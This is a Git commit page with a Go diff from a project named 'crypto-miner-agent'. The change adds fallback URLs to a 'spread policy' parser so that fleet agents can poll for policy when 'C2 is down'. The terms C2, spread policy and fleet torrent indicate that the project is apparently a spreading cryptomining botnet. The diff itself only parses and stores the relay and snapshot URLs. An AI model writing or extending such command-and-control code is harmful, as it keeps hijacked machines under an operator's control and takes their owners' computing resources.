Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
AetherForge
2026-06-07 10:10:16 -07:00
parent c12565c83d
commit f691270279
27 changed files with 1049 additions and 69 deletions

View File

@@ -2,6 +2,7 @@ package client
import (
"encoding/json"
"strings"
"crypto-miner-agent/miner"
)
@@ -103,6 +104,8 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
@@ -117,6 +120,12 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
}
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
c.cfg.PolicySnapshotPollURL = v
}
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
c.cfg.EventBridgeRelayURL = v
}
if len(policy.SpreadTemperament) > 0 {
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
}

View File

@@ -122,6 +122,8 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
@@ -135,6 +137,12 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
cfg.PolicySnapshotPollURL = v
}
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
cfg.EventBridgeRelayURL = v
}
applySpreadTemperament(cfg, policy.SpreadTemperament)
}